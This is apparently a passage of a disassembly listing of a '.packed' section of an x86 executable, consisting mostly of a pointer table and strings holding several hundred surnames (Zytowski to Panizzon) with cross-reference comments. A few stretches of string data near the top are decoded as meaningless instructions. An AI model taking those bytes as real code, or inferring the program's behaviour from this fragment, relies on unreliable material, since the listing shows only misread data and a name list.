		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .packed:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .packed:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: .packed:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .packed:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: .packed:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .packed:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: .packed:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: .packed:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: .packed:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: .packed:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .packed:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: .packed:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .packed:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: .packed:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: .packed:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .packed:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: .packed:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .packed:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .packed:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: .packed:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .packed:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .packed:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .packed:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: .packed:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .packed:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .packed:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .packed:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: .packed:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .packed:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: .packed:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: .packed:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .packed:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: .packed:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .packed:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: .packed:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .packed:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .packed:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: .packed:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: .packed:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: .packed:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: .packed:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .packed:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: .packed:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: .packed:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .packed:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: .packed:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: .packed:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: .packed:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: .packed:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: .packed:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .packed:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: .packed:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: .packed:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .packed:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: .packed:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .packed:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .packed:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .packed:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .packed:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .packed:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .packed:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .packed:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: .packed:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .packed:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: .packed:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .packed:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .packed:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .packed:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .packed:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: .packed:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .packed:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .packed:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: .packed:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .packed:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .packed:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: .packed:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .packed:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .packed:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .packed:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .packed:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: .packed:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .packed:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .packed:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .packed:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .packed:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .packed:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .packed:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .packed:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .packed:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .packed:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .packed:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .packed:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .packed:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: .packed:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .packed:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: .packed:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: .packed:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .packed:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: .packed:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .packed:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: .packed:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .packed:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: .packed:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .packed:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: .packed:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: .packed:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: .packed:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: .packed:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .packed:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: .packed:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .packed:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .packed:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .packed:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .packed:0042EA00o
aTill		db 'Till',0             ; DATA XREF: .packed:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .packed:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: .packed:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: .packed:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: .packed:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: .packed:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: .packed:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .packed:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: .packed:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: .packed:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .packed:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .packed:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .packed:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .packed:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .packed:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .packed:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: .packed:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: .packed:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .packed:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: .packed:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: .packed:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: .packed:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: .packed:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .packed:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: .packed:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: .packed:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .packed:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: .packed:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .packed:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: .packed:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .packed:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: .packed:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: .packed:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: .packed:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: .packed:0042E974o
aStott		db 'Stott',0            ; DATA XREF: .packed:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: .packed:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .packed:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .packed:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: .packed:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .packed:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: .packed:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .packed:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .packed:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .packed:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .packed:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: .packed:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: .packed:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: .packed:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: .packed:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: .packed:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .packed:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: .packed:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: .packed:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: .packed:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: .packed:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .packed:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .packed:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .packed:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .packed:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: .packed:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: .packed:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: .packed:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .packed:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: .packed:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: .packed:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: .packed:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: .packed:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .packed:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: .packed:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .packed:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: .packed:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .packed:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .packed:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: .packed:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .packed:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .packed:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .packed:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: .packed:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .packed:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .packed:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .packed:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .packed:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .packed:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: .packed:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .packed:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .packed:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: .packed:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .packed:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .packed:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: .packed:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .packed:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: .packed:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .packed:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: .packed:0042E884o
aShia		db 'Shia',0             ; DATA XREF: .packed:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: .packed:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .packed:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .packed:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: .packed:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .packed:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: .packed:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: .packed:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .packed:0042E860o
aShar		db 'Shar',0             ; DATA XREF: .packed:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .packed:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: .packed:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .packed:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: .packed:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .packed:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: .packed:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .packed:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .packed:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: .packed:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: .packed:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: .packed:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .packed:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .packed:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: .packed:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .packed:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: .packed:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .packed:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: .packed:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: .packed:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: .packed:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: .packed:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .packed:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .packed:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: .packed:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: .packed:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .packed:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: .packed:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .packed:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: .packed:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .packed:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .packed:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .packed:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: .packed:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .packed:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .packed:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: .packed:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: .packed:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: .packed:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: .packed:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: .packed:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .packed:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .packed:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: .packed:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .packed:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: .packed:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .packed:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: .packed:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .packed:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .packed:0042E798o
aRush		db 'Rush',0             ; DATA XREF: .packed:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: .packed:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .packed:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .packed:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: .packed:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: .packed:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: .packed:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: .packed:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .packed:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: .packed:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: .packed:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: .packed:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .packed:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .packed:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .packed:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .packed:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .packed:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .packed:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: .packed:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .packed:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: .packed:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: .packed:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: .packed:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .packed:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: .packed:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .packed:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .packed:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .packed:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: .packed:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .packed:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: .packed:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .packed:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .packed:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: .packed:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .packed:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .packed:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .packed:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: .packed:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .packed:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: .packed:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .packed:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .packed:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .packed:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .packed:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: .packed:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: .packed:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: .packed:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: .packed:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: .packed:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .packed:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: .packed:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: .packed:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: .packed:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: .packed:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: .packed:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: .packed:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: .packed:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: .packed:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: .packed:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: .packed:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .packed:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: .packed:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .packed:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: .packed:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .packed:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: .packed:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: .packed:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: .packed:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .packed:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .packed:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: .packed:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .packed:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: .packed:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .packed:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: .packed:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: .packed:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .packed:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: .packed:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .packed:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: .packed:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .packed:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: .packed:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: .packed:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: .packed:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: .packed:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .packed:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: .packed:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: .packed:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: .packed:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: .packed:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .packed:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: .packed:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .packed:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .packed:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .packed:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .packed:0042E618o
		align 10h
